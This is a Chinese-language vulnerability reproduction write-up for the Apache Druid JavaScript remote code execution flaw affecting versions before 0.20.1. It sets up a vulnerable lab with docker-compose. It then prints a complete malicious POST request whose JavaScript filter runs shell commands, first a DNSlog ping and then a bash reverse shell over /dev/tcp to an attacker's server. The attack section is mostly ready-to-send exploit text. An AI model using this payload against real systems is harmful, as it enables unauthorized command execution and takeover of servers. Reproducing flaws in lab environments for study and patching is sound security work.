目录

漏洞简介

影响版本

docker-compose一键搭建漏洞环境

漏洞复现

1. 用DNSlog探测远程命令执行

2. 反弹shell

漏洞检测POC


漏洞简介

Apache Druid:Apache Druid是一个专为大数据集的快速切片分析(OLAP查询)而设计的实时分析数据库。Druid作为数据库,最常用于支持以下用例:实时摄取、快速查询和高运行时长。例如,Druid一般用于支持分析型应用程序的GUI,或是需要快速聚合的高并发API后台。Druid最适合用于面向事件的数据。

Druid常见的应用领域包括:

  • 点击流分析(Web和移动分析)
  • 网络遥测分析(网络性能监视器)
  • 服务器指标存储
  • 供应链分析(制造指标)
  • 应用程序性能指标
  • 数字市场营销/广告分析
  • 商业智能/OLAP

Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。
 

影响版本

Apache Druid < 0.20.1

docker-compose一键搭建漏洞环境

漏洞测试环境版本:Apache Druid 0.15.1

docker-compose.yml文件内容如下

version: '2'
services:
  web:
    image: fokkodriesprong/docker-druid
    ports:
      - "8888:8888"

执行docker-compose up -d启动漏洞环境,可能启动的比较慢,需要两三分钟后才能访问成功

启动后界面如下

 

漏洞复现

1. 用DNSlog探测远程命令执行

1. 在首页截取数据请求包,将以下数据包代替请求包

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 你的ip和端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 679
Connection: close


{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping xxxxx.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

2. 发送数据包,刷新dnslog,如下说明漏洞存在

2. 反弹shell

将post数据中的 'ping dnslog'修改为反弹shell的语句:echo bash -i >&/dev/tcp/vps ip地址/监听端口 0>&1

查看监听,反弹shell成功

 

漏洞检测POC

https://download.csdn.net/download/qq_44159028/15479407

——心,若没有栖息的地方,到哪都是流浪

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐